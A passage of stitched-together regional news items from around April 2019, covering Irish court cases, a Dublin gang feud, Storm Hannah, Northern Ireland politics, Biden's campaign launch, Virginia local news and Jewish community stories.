be volunteers. "So, very much a local feel to the store," he said. "... Our hope is to have as many volunteers as we can muster." He said that he would like to have four to six people at the store, depend of the volunteer's availability. They are looking for people and groups who want to volunteer with the only requirement a willingness to serve the community. Volunteers can be teenagers through senior citizens. Volunteering is an opportunity for the community to really be a part of the store and making it not just a place to shop but a place to actually give back, Harvey said. Minnick said that she also wants to encourage people to volunteer and "do what we can for the community." People who are interested in volunteering can contact the main office, which will be coordinating and processing volunteer requests, at 208-413-6183 or visit the Facebook page https://www.facebook.com/SalvationArmyUSA/. Havre Daily News/Colin Thompson In addition to remodeling the store, the renovations gives new opportunities for shoppers, Harvey said. The thrift store will now be stocking brand-new furniture. He said that the Salvation Army is work with Emerald Home Furnishing to supply new items on display in the store, such as new beds and living room furniture. The store will also have a catalogue with items people will be able to look through and order items from, with all the items being from Emerald Home Furnishing. He added that because of Havre's locations orders, will be put into master orders for the store, which could result in deliveries taking longer. "The other stores we have introduced that in, it has been a great addition to the store," he said. I have been struggling with how to broach an indelicate personal subject with the polite words needed in a public platform such as this, but I dont know if there is a delicate way to say that my cat Tony has fallen deeply, madly and inappropriately in love with me. Its a bit startling. For both of us, I think. I get it, though, right? This is the first time hes felt this safe and content with a human. He doesnt know what to make of this happy feeling. Hes always retained his early lessons for feral cat survival: only rely on yourself in a crisis and always be vigilant. Time and again over the past six years he has run away to hide during a real or perceived crisis to get as far from the problem as he needs to feel safe. He has done that even if running to us is the safer option. The day last winters big cold spell hit, I rescued Tony from a couple of large, feral gangland cats that had moved into this neighborhood. They undoubtedly had tats and gold-embossed teeth they was so gansta. Tony started living in the house 24/7 because he had to be doctored twice a day for a week, he had a 3-inch bald spot over his left hip and the temps were bitter cold. Plus we locked the kitty door into the shop to cut off the gangsters access to a heated clubhouse, so Tony had nowhere else to be safe from the weather. Not only did we hang out in the house together, but, because he hates using a litter box and I hate cleaning them, I also ended up tramping a path through the snow to the barn and hanging out in the bitter cold for 20 minutes waiting for him to go potty. Yes, in two separate piles of dirt and hay chaff. In my barn. Twice a day. For a month and a half. I wouldve been more perturbed but he was scared to be alone outside and not really happy with the situation either, plus he appreciated having a bodyguard who was 20 times bigger than the gangster thugs. When we would return to the house, Id make sure the heated mattress pad was turned up on my side of the bed so he could warm his little kitty feet and that bald spot. He would spend the days hanging out in the house, and at night hed wait for me to finish my shower and wed go to bed. He needed about two minutes of petting then hed curl up at my feet to sleep the night. It was very Norman Rockwell-ish. Tony finally relied on us when he was scared and sometimes he would stay curled up so soundly asleep that he didnt wake up when we walked into the room. Even the times he did wake up, he didnt panic and hide, hed just flick an ear our direction or look at us like we needed to hold down the noise so he could sleep a little while longer. It felt like a miracle. And then things got creepy. You know how cats will do that kneading action when theyre content? That was his thing to do on occasion, purring About a month into his new house cat status, that changed. He was kneading the covers with all the contented, slow comfort of someone jacked up on speed. He wouldnt stop, and he got all crazy-eyed and yowling when I tried to shut it down. Out of self-defense of my sleep patterns, I finally got a spray bottle of water to douse his flame. Ive been trying to explain to him that he can love me without loooving me. The fact that he has been a neutered eunuch for six years is moot point next to the reality that cross-species relationships are doomed to failure. Any dog who has fallen in love with a human leg on a Wednesday can tell you that. With the warm weather and the occasional application of the spray bottle hes been settling down. Still, Im open to taking him to a therapist to help him get right in his head. Just because I dont loooove him doesnt mean I dont love him. He even ran to us for protection last week, thats progress at http://www.facebook.com/viewfromthenorth40/. PART of a Henley beauty spot was destroyed in a suspected arson today (Friday). Firefighters were called at about noon to Marsh Meadows, near the River & Rowing Museum, and used hoses to extinguish the blaze. Contractors working on the roof of the museum spotted a group of teenagers, who are believed to have started the fire, before fleeing in a blue Ford Fiesta. Firefighters spent about an hour on the scene and a section of grass was scorched and left blackened. The museums operations director Lynne Adam told Henley Standard: We believe it was started by some local children. It was quite well developed there was a lot of smoke. Our team called the fire brigade and the police. The firefighters used the museum car park to access Marsh Meadows. Our team moved cars away from that side and people off the deck. I asked the fire brigade if they would like us to evacuate but they were happy for us to stay put. We just closed the windows. For the full story see next weeks Henley Standard. "My father is not in a coma," Cleopatra Singleton writes in the document. She adds that although doctors "do not have a concrete diagnosis, my dad is progressing every day ... My father is breathing on his own. He is only medically sedated to keep his blood pressure low and allow the vessels in his brain to heal." Edward Lawrence began taking drugs when he was 14 A thief who stole hair straighteners from a supermarket had lived a "life of criminality", a court heard. Edward Lawrence (35) had the case against him adjourned for a community service suit- ability report. Lawrence, of Ballyfermot Parade, Ballyfermot, pleaded guilty to theft. Dublin District Court heard the incident happened at Tesco, Ballyfermot Road, last September 2. The accused was stopped by security after passing all points of payment with two hair straighteners and a shaver, together worth more than 300. He was detained, gardai were called and he was arrested. The court heard Lawrence had 16 previous convictions, 15 of which were for offences outside the jurisdiction. Lawrence had moved to the UK with his family when he was a child, his solicitor John Shanley said. Methadone He left school at 12 and began taking drugs at 14. His last conviction was in the UK. He developed psychiatric issues when he was in custody and not using any drugs. Lawrence had been on methadone, but when he came off it completely he realised it "wasn't the best thing he could have done" and he relapsed, Mr Shanley said. Lawrence had been "involved in a life of criminality", Judge John Hughes said. The accused had been making "serious efforts since his release from custody", Mr Shanley said. Judge Hughes said he would order the accused to carry out 150 hours of community service instead of a three-month prison sentence. However, the court heard that a fuller assessment was needed, and the case was adjourned to a date next month. The gardai have appealed for witnesses (stock photo) An out-of-work hairdresser who slapped a garda in the face had been in a "revolving door" of repeated prison sentences, a court was told. Rosaleen Cody (47), who had 243 convictions, admitted assault when she appeared at Dublin District Court. Cody, of Rathgar Road, Rathgar, also admitted public intoxication and threatening, abusive and insulting behaviour. Judge John Hughes adjourned her case for a pre- sentence probation report. The court was told gardai attached to the public order unit were on duty on Grafton Street last May 21 when they received reports of Cody being in a highly intoxicated state in Brown Thomas. When gardai spoke to her about another incident, she became abusive and was arrested and taken to Pearse Street Garda Station. In the course of a search, she hit a female garda's face with an open hand. The officer was not injured. Cody attempted to apologise the next day. Pretty The court was told her previous convictions included seven assaults, 19 thefts and 36 public order breaches. Her record did not make pretty reading, said a garda. Cody had previously been given prison sentences, which had become "something of a revolving door", Colleen Gildernew, defending, told the court. She would be released from the Dochas Centre at Mountjoy Prison and spend a few nights in a hostel, but there was "never anything set up", said the lawyer. On previous occasions, probation reports had been ordered, but Cody had not been in a position to engage with the probation service, and judges said they had no option but to jail her. However, things were "dramatically better" now, said Ms Gildernew, and Cody was "more settled". Ms Gildernew asked Judge Hughes not to jail Cody, saying it would disrupt the progress she had made. Judge Hughes remanded Cody on continuing bail to appear in court in June for the production of a probation report. Ireland international rugby player Bundee Aki has apologised for clicking "like" on a homophobic post on social media. Aki posted an explanation on his Instagram account following criticism for apparently showing support for a bigoted post by Australian international Israel Folau. Folau has come under heavy criticism over the past two weeks since he wrote on Instagram that "hell awaits you" for "drunks, homosexuals, adulterers, liars, fornicators, thieves, atheists and idolaters". "Repent, only Jesus saves you," the post said. Breach Folau has been issued with a breach of contract notice by Rugby Australia and will face a code of conduct hearing on May 4. Expand Close Australian international Israel Folau / Facebook Twitter Email Whatsapp Australian international Israel Folau England's Billy Vunipola was also reprimanded after he posted a message in support of Folau. Rugby fans then noticed that Aki had initially "liked" the original post. "I just want to address that I mistakenly liked Israel Folau's post without paying any attention to the content," he said yesterday. "When I realised what the post was about I immediately un-liked it straight away, as it does not reflect my views as a Christian. "Yes, I do believe in God, but my belief is that he is a God of kindness, peace and loves people in all aspects," he said. Aki then referred to the fact that there were people close to him who are gay. "I have family members, friends, and I have worked with many people who are gay and I have nothing but love and respect for every one of them," he said. "I want to apologise for any offence this may have caused, and I will pay more attention to what I 'like' in future." England and Saracens No 8 Vunipola, however, has refused to apologise. In an apparent show of support for Folau, he also wrote an Instagram post. "Man was made for woman to procreate. That was the goal, no?" he said. But the Australian-born Vunipola insisted: "I don't HATE anyone." He added: "There just comes a point when you insult what I grew up believing in that you just say enough is enough. What he's saying isn't that he doesn't like or love those people. "He's saying how we live our lives needs to be closer to how God intended them to be. ''Man was made for woman to procreate. That was the goal, no? "I'm not perfect. I'm at least everything on that list at least at one point in my life. It hurts to know that." An RFU spokesman said: ''Rugby is an inclusive sport and we do not support these views.'' A manhunt was underway last night for a 25-year-old suspect after gardai seized a machine gun, a handgun, a quantity of cocaine and 70 rounds of ammunition in a raid targeting the 'Nellie' Walsh gang. The planned search operation happened at the back of a house at Riversdale Crescent in Clondalkin at 6.30pm on Wednesday. No arrests were made by officers who say the property is occupied by an innocent family. "This was a very significant seizure - no arrests have yet been made. A suspect has been identified but he was not in the property when the items were seized," a senior source told the Herald last night. Expand Close A seized gun / Facebook Twitter Email Whatsapp A seized gun The target of the operation is closely linked to jailed gangster James 'Nellie' Walsh and is also pals with a close associate of notorious criminal John Gilligan. Last week, the Herald revealed that Gilligan's younger Clondalkin-based pal was the chief suspect for ordering an arson attack which could have led to the deaths of an innocent 31-year-old woman and her three children in Inchicore in September, 2017. The 'Nellie' Walsh gang has been involved in a bitter feud in west Dublin that has led to four murders - two of them being associates of the jailed criminal. In recent weeks there has been a number of arrests by Tallaght gardai probing one of these murders - the fatal shooting of John Gibson (28) at Fortunestown Lane, Tallaght, at 9.20pm on September 18, 2017, including the suspected female getaway driver. Entrenched Gibson's murder was the fourth of the entrenched Clondalkin drugs feud and officers have been investigating if he was targeted after swearing revenge for the murder of his pal Darragh Nugent (36), who was shot dead on Wheatfield Avenue in Neilstown almost a week before Gibson was slain. There have been no further fatal attacks since Gibson was shot dead in Tallaght but the Condalkin feud is still active according to gardai. Both Gibson and his older pal Nugent were closely linked to jailed Clondalkin hitman James 'Nellie' Walsh, who is serving a lengthy jail term for firearms offences. Gardai believe the murders of Nugent and Gibson were carried out by a west Dublin crime group intent on "wiping out" Nellie Walsh's gang. The gang were linked to the deadly Kinahan cartel and are considered west Dublin's biggest drug suppliers but they went into conflict with 'Nellie' Walsh around seven years ago. Earlier this week that mob suffered a "significant setback" after a major drugs seizure in west Dublin. They have been at war with 'Nellie' Walsh's crew for around six years. Walsh, who was jailed for 10 years in December 2016, after he shot himself in the leg while escaping from the scene of a feud shooting at a church car park, remains on a special protection regime in prison. He shot Drimnagh thug Michael Frazer (37) in the Clondalkin church car park on March 26, 2014. The gunman was previously investigated for three gun murders and other firearms incidents but he was sentenced at Dublin Circuit Court in 2016 for offences linked to the botched hit on criminal Frazer. Possession Apart from the Frazer hit, 'Nellie' is being investigated for hits on Gerard Eglington, Dean Johnson and Jason Carroll. 'Nellie' pleaded guilty to possession of a pistol with intent to endanger life at the Church of the Transfiguration, Bawnogue Road, Clondalkin, and attempted murder charges against him were dropped. It emerged in court that Frazer refused to co-operate with the garda investigation but the Herald can reveal that gardai believe Walsh was hired by Frazer's former gang associates in the Crumlin area to shoot Frazer dead. It was one of five different attempts on his life in the space of just over a year but the only incident in which he was actually shot. Met Eireann has warned there may be power outages as Storm Hannah moves in over Ireland. A Status Orange wind warning has been issued for Clare, Cork, Kerry and Limerick from 4pm today until 5am tomorrow. Winds are expected to reach mean speeds of 65kph to 80kph with gusts of 110kph to 130kph. The national forecaster has told the public to "be prepared for possible disruption and power outages". Distance A separate Status Yellow wind warning is in place from 11pm today until 9am tomorrow for Connacht, Carlow, Kildare, Kilkenny, Laois, Longford, Wexford, Wicklow, Offaly, Donegal, Tipperary and Waterford. The Road Safety Authority (RSA) is urging motorists to "slow down and allow extra distance" while driving. According to Met Eireann, it will be "very windy on Friday tonight and for a time on Saturday morning". Rain is expected to spread over Leinster and Ulster today, with more spreading from the west with "strengthening southerly winds" in the afternoon. "In the evening it will become very windy or stormy in west and south Munster, with very strong, gusty west to northwest winds," Met Eireann said. Tonight will be very windy and stormy in Munster and Connacht, especially in coastal areas, with strong northwest winds extending to all areas later in the night. Some sunny spells are expected tomorrow, however, with some scattered showers, making it a "cool bright day" with temperatures between 9C and 12C. Drizzle Sunday will be mild and mostly cloudy with some small amounts of patchy rain or drizzle in many areas, with temperatures reaching 16C. Current indications for Monday suggest that a band of rain will move eastwards across the country, clearing later with scattered showers following. The UK Met Office has also issued a Status Yellow wind warning, with the remnants of the storm expected to cross parts of south Wales and south England overnight from this evening. DUP leader Arlene Foster with Sinn Feins Mary Lou McDonald and Michelle ONeill in St Annes Cathedral, Belfast, before the funeral of Lyra McKee. Photo: Brian Lawless/PA Wire The leaders of the DUP and Sinn Fein spent the 24 hours after murdered journalist Lyra McKee's memorial service trading insults on the airways. Sinn Fein leader Mary Lou McDonald said she would not "capitulate" on her key demands for power-sharing. Meanwhile, DUP leader Arlene Foster claimed that her rivals were looking for "a 5-0 victory". Behind the scenes, the British and Irish governments are working flat-out to open a line of communication between the two parties. Sources said trust levels are very low and that a major breakthrough was not imminent. Fianna Fail leader Micheal Martin said Sinn Fein's attitude was "unforgivable". Expand Close Murder victim Lyra McKee / Facebook Twitter Email Whatsapp Murder victim Lyra McKee "It is increasingly clear that the public want the return of working politics," he told the Herald. "But Mary Lou McDonald's performance demonstrates that the needs of the public continue to be secondary to the political strategy and internal direction of Sinn Fein." Impasse Ms McDonald was yesterday pressed on whether Sinn Fein would be willing to compromise on the issue of a standalone Irish act in a bid to resolve the impasse. She replied: "If you're asking me are we going to capitulate on behalf of citizens in the North to people who wish to hold back progress in every form, to people who do not wish to make room for others in an open democratic society, then the answer to that is 'no'. "We will not capitulate on that." Ms Foster replied by suggesting that schools and hospitals are more important than the Irish language. It is now more than 800 days since Stormont has functioned, but there were hopes that the words of Fr Martin Magill at the funeral of Ms McKee on Wednesday would spark the politicians into action. Fr Magill's plea for leaders to get back to work has made headline news around the world, including in the United States and Australia. "Why in God's name does it take the death of a 29-year-old woman with her whole life in front of her to get us to this point?" he asked. Both Sinn Fein and the DUP said yesterday that they wanted to get the Assembly back up and running - but neither budged an inch from their entrenched positions. Sinn Fein is demanding an Irish language act and new equality laws. The DUP, however - which opposes a standalone Irish act and same-sex marriage - said that these issues should be discussed in a forum outside of the Assembly. Ms McDonald said the cleric's message hit the nail on the head. "He articulated in the clearest and most uncompromising way the fact that politicians, myself included, need to roll up our sleeves and we need to get cracking," she said. However, the Dublin Central TD repeatedly refused to give any ground on the red lines being set down by her party for a return to power-sharing. "There is nothing trivial in a society that's has been fractured by conflict, in a society where we need sustainable power-sharing, there's nothing trivial at all on insisting on equality and rights for every citizen. We stand by the Good Friday Agreement and we are not going to resile from that position," she said. Ms Foster accused her counterpart of putting Sinn Fein demands above the demands of the people of Northern Ireland. "The people of Northern Ireland have demands as well, and they are demands for a better healthcare system, they want their schools reformed, they want their infrastructure done," she said. Amid the unseemly conflict, pressure has mounted on the two women from other political parties on the island. Tanaiste Simon and Secretary of State Karen Bradley have been in frequent contact with key figures since the memorial service. Despite concerns about the public disagreements, they will travel to Belfast this afternoon to finalise details for exploratory talks. Former US vice-president Joe Biden was instantly installed as the Democrats' front runner after launching a bid yesterday for the White House. Mr Biden announced the third presidential bid of his career by video on YouTube, drawing a stark contrast between himself and president Donald Trump in a contest he said was a fight for the future of American democracy. "We are in the battle for the soul of this nation," he said. "I believe history will look back on four years of this president and all he embraces as an aberrant moment in time. "But if we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation, who we are, and I cannot stand by and let that happen." Nasty Mr Trump responded with a tweet slamming Mr Biden's "intelligence" and vowing to meet him "at the Starting Gate" if the Democrat wins his party's "nasty" nomination fight. Expand Close Vice President Joe R. Biden jokes President Barack Obama / Facebook Twitter Email Whatsapp Vice President Joe R. Biden jokes President Barack Obama Mr Biden (76) had been wrestling for months over whether to run. His candidacy will face numerous questions, including whether he is too old and too centrist for a Democratic Party yearning for fresh faces and increasingly propelled by its more vocal liberal wing. Mr Biden starts as leader of the pack in opinion polls of a Democratic field of 20 contenders seeking a chance to challenge Mr Trump, the likely Republican nominee, in November next year. Critics say his standing in polls is largely a function of name recognition for the former senator from Delaware, whose more than four decades in public service includes eight years as Barack Obama's number two in the White House. Mr Obama's spokeswoman, Katie Hill, said Mr Obama had long said that selecting Mr Biden to be his running mate in 2008 was one of the best decisions he ever made. She said Mr Obama relied on Mr Biden's insight, knowledge and judgment throughout his presidency. Mr Biden will travel across the US in the coming weeks to detail his plans to rebuild the middle class, kicking- off his tour in Pittsburgh on Monday, his campaign said. On May 18, he will hold a rally in Philadelphia to "lay out his vision for unifying America with respected leadership on the world stage and dignified leadership at home", it said. As speculation about his bid mounted, Mr Biden faced new questions about his propensity for touching and kissing strangers at political events, with several women coming forward to say he had made them feel uncomfortable. Mr Biden struggled in his response to the concerns, at times joking about his behaviour. Ultimately, he apologised and said he recognised standards for personal conduct had evolved in the wake of the #MeToo movement. In his announcement yesterday, Mr Biden held up the example of the August 2017 attack at a white nationalist rally in Charlottesville that killed a female counter-protester as a defining moment for the nation. "It was there we saw Ku Klux Klansmen and white supremacists and neo-Nazis come out in the open, bearing the fangs of racism," Mr Biden said, criticising Mr Trump's remarks at the time that there were "very fine people on both sides". There was no moral equivalence between racists and those fighting such inequality, he said. "In that moment, I knew the threat to this nation was unlike any I had ever seen in my lifetime," said Mr Biden. His candidacy will offer early hints about whether the Democrats are more interested in finding a centrist who can win over the white working-class voters who backed Mr Trump in 2016, or someone who can fire up the party's progressive wing, such as Kamala Harris, Bernie Sanders or Elizabeth Warren. Mr Biden's long history in the Senate, where he was a leading voice on foreign policy, will give liberal activists plenty to criticise. Censured As Senate judiciary committee chairman, he angered women's rights activists with his handling of sexual harassment allegations against Clarence Thomas during the justice's 1991 Supreme Court confirmation hearings. He has also been censured over his ties to the financial industry. Mr Biden has been one of the party's more aggressive Trump critics. Last year, he said he would have "beat the hell" out of the president if the two were in high school because of the way he has talked about women. That prompted Mr Trump to call him "Crazy Joe Biden" and to claim on Twitter that Mr Biden would "go down fast and hard, crying all the way" if they fought. Mr Biden later lamented the exchange, saying: "I shouldn't get down in the mosh pit with this guy." Other guests include Jay Duplass and Tatiana Maslany (Pink Wall); Gurinder Chadha and Viveik Kalra (Blinded by the Light); and representing the festivals opener, the Chicago-made Saint Frances, a gorgeously acted debut feature film from director Alex Thompson and screenwriter/star Kelly OSullivan, about a reluctant nanny and her pre-teen charge. The writings a little pat, but when the locally based actors (Charin Alvarez and Mary Beth Fisher are especially vivid) get the space they need, a small movie takes on larger issues of motherhood, abortion, post-partum depression and the cost of holding too much inside. Willinger said education initiatives must be supported, but parents also need to be more involved in schools. Educations everything, whether its trades or going onto college education. Of course, we got to support it. But I also think we need to look at parents of the children as well and involve the parents a little bit more in how they view education and the choices that are available, Willinger said. Chapman said kids need to see their parents doing well while living in Bristol for them to want to stay, work and live in Bristol after they finish school. We need to work on improving our school systems, making us more attractive to manufacturing, making us more attractive to technology, using the resources that we have and bringing those jobs here, so kids see their parents excelling, so that kids see their parents living a better life, then they want to live a better life, Chapman said. Luttrell said he doesnt know everything that needs to be done to improve the citys school system, but there needs to be strong cooperation between the city, schools, community and state. ABINGDON, Va. -- Police are looking for information about a car that drove into Highlands Ski & Outdoor Center in Abingdon on Thursday. Abingdon Police were dispatched to 909 East Main Street, the location of Highlands Ski & Outdoor Center, around 9:55 a.m. Thursday in reference to a hit and run with property damage, according to a written statement. Officers were directed to an area of damage on the south side of the building facing East Main Street. Police conducted a check of surrounding businesses, but did not find any surveillance footage of the damage. The Abingdon Police Department asks that if you have any information regarding who may have hit the business to contact the department at 276-628-3111 or call Washington County Virginia Dispatch at 276-676-6277. Bert Cooper Bert Cooper, 44, of Marion MARION, Va. -- A Marion man was sentenced Thursday after pleading guilty to several sex-related charges, according to the Smyth County Sheriff's Office. Bert Cooper, 44, of Marion, Virginia, pleaded guilty to rape, forcible sodomy, object sexual penetration and indecent liberties with a child in Smyth County Circuit Court. Cooper was given a 160 year sentence with 144 years suspended by the court. After serving 16 years in prison, Cooper must be on active probation for 5 years, have no contact with the victims or their families and register as a sex offender, according to the sheriff's office. The Sheriff's Office said they received complaints from multiple juvenile victims residing in Sniders Mobile Home Park where Cooper worked as a handyman in 2018. Deputies from the Smyth County Sheriffs Office executed a search warrant on Coopers residence and was able to retrieve DNA that linked him to the crimes. Cooper is currently being held at the Southwest Virginia Regional Jail in Abingdon. BRISTOL, Va. To commemorate Earth Day, nearly 30 Universal Fibers and Tennessee Valley Authority employees spent a couple hours Thursday cleaning up Sugar Hollow Park. Though a few days late for the internationally recognized celebration on April 22, the employees worked diligently in the picnic shelter area of the Bristol, Virginia, park, picking up brush and using leaf blowers to clear debris left behind by recent flooding of Beaver Creek due to heavy rainfall. The work was the first in the joint community outreach project called A Day to Build Our Community that builds on the aligning missions of TVA and the company to impact the environment responsibly and sustainably. Universal Fibers Marketing and Communications Specialist Jennifer Roundtree said the company works to be socially responsible, not only through creating products with the lowest carbon dioxide emissions of any nylon production company in the world, but also by making it a priority to have employees at each location work in their communities to improve the environment. They told me, You know you saved a couple lives. Youre a hero, King said. I was like, Thank you, but I dont really look at myself as a hero. Im just glad I was able to do a good deed, help out my fellow man. I believe in that. I believe in the golden rule, you know, treat people the way you want to be treated. Thats all I was doing. Waynesboro and Washington Township part ways in first due fire service The borough said that Washington Township has accounted for 45% of the total service area. I know foster care has had its own set of problems, he said. But there are also many great foster families out there. Are there crappy ones? Yes. And part of the problem is theyre not monitored the way they should be. I understand the resignation. But to me, any removal is better than leaving someone like AJ in that home. And, of course, its not just AJ. Its thousands of children. That investigation also involves former Ald. Danny Happy Endings Solis, 25th, who liked being taken by grafters to massage parlors. Hes cooperating with investigators. If there are more indictments coming, there will likely be earthy transcripts of Burke talking on the phone. And they may shock some people. If Preckwinkle is still holding Burkes cash when the new transcripts come out if they come out her fingers might be burned. Prosecutors had their own concerns about the evidence, according to an internal states attorney memo from 1991 that called the proof that Gibson killed one of the victims entirely circumstantial. The memo also described the evidence of his involvement in the other killing as extremely weak. Hear a compelling story of a woman's search to find her birth family, and succeeding with the help of a dedicated Orlando Jewish genealogist at the next Jewish Genealogical Society of Greater Orlando meeting, Wednesday, May 8. The Jewish Genealogical Society of Greater Orlando treasurer, Dave Rowitt, will explain how he helped a cousin find and meet her relatives. Rowitt is a talented genealogist, who has compiled much of his family history. Working with his cousin, he has discovered and located the vast majority of his family-nearly 3000-that live in the U.S. His research has led to interesting discoveries and intriguing family reunions, and led him to contact a second cousin, Elliot, which eventually led to quite a genealogy detective story. Elliot's wife, Lynne, was surrendered to child welfare authorities in 1950, months after she was born. New York City's Free Synagogue Child Adoption Committee soon found a foster family for Lynne, and that family adopted her, resulting in new first and last names for Lynne. While Lynne's adoptive parents provided a wonderful life for her, she frequently wondered if she had any siblings. Years after Lynne's adopted parents died, Elliot and Lynne sought Rowitt's help to find her blood relatives. Rowitt encouraged Lynne to do a DNA test, which provided essential clues to learning about her family. Using the DNA data, Dave applied his years of genealogy knowledge, the majority of it gained from attending JGSGO meetings, to find Lynne's birth relatives, and arranged for Lynne and Elliot to meet these relatives, including her cousins in California from her birth mother and birth father. After joyous meetings with newly-found family, Lynne learned that some of her relatives had also been trying to find her. This fascinating genealogical research that Rowitt will demonstrate is intended to help you in your quest to build your family tree. And you will get to meet Lynne and Elliot, New Yorkers who will be here for this important presentation. Elliot and Lynne (last names not used for privacy reasons). The JGSGO is a non-profit organization founded in 1990, dedicated to sharing genealogical information, techniques and research tools with anyone interested in Jewish genealogy. The JGSGO has helped hundreds of people find and share their family history. For more information visit http://www.jgsgo.org and "like" us at http://www.facebook.com/jgsgreaterorlando. The JGSGO voicemail line is 407-494-4230. The meeting is May 8, at 7 p.m., in the Senior Lounge of The Roth Jewish Community Center, 851 North Maitland Ave., Maitland. Admission is free for members. There is a $5 charge for nonmembers, which can be applied to the annual membership dues. People who can't attend in person can watch a live feed of the meeting on the Internet. Pre-registration for the web feed is required to watch the presentation. The URL is: http://jgsgo.org/programs-jgsgo. BERLINVanessa Roth planned to go straight to law school after graduating high school in Trier, Germany. But when she saw a flier at her local synagogue advertising a Jewish gap-year program offering professional training within a Jewish milieu, her interest immediately was piqued. Trier has a tiny Jewish community, and Roth was eager both to meet other young Jews and advance her professional ambitions. So Roth put off her law school plans. Now in the final weeks of the JAcademy gap-year program, Roth, 19, has spent the last year living and learning with European Jews, and doing internships at a think tank in Jerusalem, a political party in London and a law firm in Berlin. Before JAcademy, I wasnt involved that much in Jewish life, Roth said. Its taught me a lot about myselfmy strengths, my weaknesses. Ive also learned how to speak in public, because I want to go into politics. Roth is among 17 young Jews from Germany, Ukraine, Spain, Greece and elsewhere in this years cohort of JAcademy, a unique Europe-centered, Jewish gap-year program. The idea is to give ambitious European Jews before university or between degrees the chance to develop professional skills and gain practical job experience within a Jewish context. The ultimate goal is to help preserve Jewish life in Europe by grooming a young generation of European Jewish leaders. Based in Berlin but including stints in London, New York and Israel, the program has a nine-month curriculum that includes three internships and instruction meant to bolster leadership qualities and Jewish identity. The participants are young people committed to Jewish community but from places without significant Jewish infrastructure. They need not be very Jewishly knowledgeable, but they must have strong Jewish commitment. Sometimes, people are very committed to Judaism, or to professional success, or to being involved in their community. Whats rare is to be committed to all three things, said JAcademys interim program director, Daniel Fabian. Were looking for people who are professionally ambitious and seriously interested in dedicating their gap year to discovering their Jewish roots. Competition for acceptance into the program is fierce. For this year, its third, over 90 Jews ages 18-26 applied for just 17 slots. The program is funded by the Ronald S. Lauder Foundation in conjunction with the Genesis Philanthropy Group, the American Jewish Joint Distribution Committee, the Pratt Foundation, various private funders and student fees of about $16,000 per year. Private funders underwrite scholarships for those who cannot afford the fees. The highlights of the year are the various trips and internships. Participants spend two months of the year in Israel, including a six-week professional internship in the field of their choice. Louna Kapeta, 26, from Thessaloniki, Greece, recently completed an internship at Jerusalems Yad Vashem Holocaust Museum, where she helped find and register Holocaust survivors. Greece is wonderful, but the Jewish community is really small and I wanted to explore Jewish life abroad, said Kapeta, who has a bachelors degree in architecture. I grew up in a Christian Orthodox environment, so I had to tolerate people around me who didnt know I was Jewish. This month, students are interning in London. Last fall, they flew to New York to spend two weeks meeting with successful CEOs, managers, rabbis and Jewish leaders, including businessman and philanthropist Ronald Lauder. Later this spring, theyll do a third internship in Berlin. The year also includes shorter field trips, including to the European Union headquarters in Brussels and to sites of Jewish interest in Poland. Between trips, the students live in apartments in Berlins Mitte neighborhood and take classes at the nearby JAcademy building. Subjects include business English, critical thinking, conversational Hebrew and Jewish studies. Classes range from interpretation of Biblical texts to Zionist history. I know what it means to have a diploma but not that much experience, said JAcademys project manager, Elmira Tarivierdiieva, 26, who was born and raised in Odessa, Ukraine before moving to Germany. When you go for an interview, they want to see a CV and 15 years of experience. This project was created to give people different experiences in one year so when they go looking for jobs theyre prepared. Its something new and unique. JAcademy alumni have landed prestigious jobs, including a Greek woman who started her own art gallery and a Ukrainian who became a partner in a local kosher wine venture. The programs main focus, however, is to bolster the future of Jewish life in Europe. We want people to stay here and build communities in their hometowns and be active, Tarivierdiieva said. Were basically creating a community of future European Jewish leaders. Noemi Becher, 22, of Frankfurt, enrolled in JAcademy after obtaining her bachelors degree in economics and business administration from Frankfurts Goethe University. For her Israeli internship through JAcademy, Becher, who speaks fluent Hebrew, went to Israels Finance Ministry, where she helped collect budget data for government regulators. In London, Becher interns at an asset management company. Shes hoping her Berlin internship will be in strategic consulting. I was looking to take some time before getting my masters to figure out where I want to go, Becher said. JAcademy has been an amazing opportunity to do just that while staying connected to my Judaism and gaining professional experience. Jan Laiter, 18, was born in the small German town of Magdeburg, which is home to only 600 Jews. His parents immigrated there from Ukraine. School doesnt really teach you how to deal with your future, Laiter, who speaks Russian, German, English, French, Spanish and Hebrew, said in an interview in Berlin. Here, you have a big Jewish community. It was a good change for me to come here, to find out who I really am in society, and where Id like to go in my professional and religious life. In Israel, Laiter interned at Jerusalems Eyal Hotel, working the reception desk. In London, hes working at the Athenaeum Hotel. In Berlin, hell help plan events for the Central Council of German Jews. Noam Miller, JAcademys director of education, said he hopes to show young Europeans that one can live a Jewish life and succeed in businesswhether on Wall Street or Fleet Street. And being an observant Jew doesnt necessarily mean moving to Israel. Were not against aliyah, Miller said. Its just that the premise is that Jewish life is going to continue in Europe, and must be strengthened. Josh Spinner, CEO of the Lauder Foundation, said that what makes JAcademy special is its unified approach to the opportunities and challenges facing young Jews today. To succeed professionally, personally and as a Jew, it is not enough simply to have values, Spinner said. You must live those values, and have the tools to do so. This article was sponsored by and produced in partnership with the Ronald S. Lauder Foundation, which works to strengthen the future of Jewish life in Europe through supporting excellent Jewish schools. This article was produced by JTAs native content team. (JTA)-Two Jewish billionaires have pledged a total of $122 million toward the restoration of Paris' Notre Dame cathedral, which was ravaged in a fire. Lily Safra, a Brazilian philanthropist, said she would give $22 million to fund the restoration efforts of the iconic church, which was badly damaged Monday, Correio 24 Horas reported. And Francoise Bettencourt Meyers, the French owner of L'Oreal, pledged another $100 million, according to CBS. The donations account for about 17 percent of the $700 million collected so far for the restoration. Bettencourt Meyers announced the donation on Twitter following French President Emmanuel Macron's call on philanthropists to help collect funds for the operation. Her father, Andre Bettencourt, wrote numerous articles for two pro-Nazi publications during World War II, one of which was financed by the Nazi government in Germany. Bettencourt Meyers married Jean-Pierre Meyers, a French Jewish businessman descended from a family of rabbis, and converted to Judaism. Bettencourt Meyers has led and donated to interfaith initiatives connecting Christians and Jews. Meanwhile, the American Jewish Committee announced Wednesday that it will donate funds to help repair Notre Dame. "Whether Catholic or not, Notre Dame Cathedral is an integral part of our shared legacy and soul. It represents centuries of French and European faith, culture, history and imagination," AJC CEO David Harris said in a statement. "We share the pain of the French people and Catholics worldwide in watching this landmark house of worship burn," he added. AJC maintains an office in Paris. Win McNamee/Getty Images U.S. Attorney General William Barr speaks about the release of the redacted version of the Mueller report as Deputy Attorney General Rod Rosenstein, right, and acting Principal Associate Deputy Attorney General Ed O'Callaghan listen at the Department of Justice in Washington, D.C., April 18, 2019. NEW YORK (JTA)-Special counsel Robert Mueller's report about Russia's interference in the 2016 presidential election was released to Congress and the public Thursday, adding new 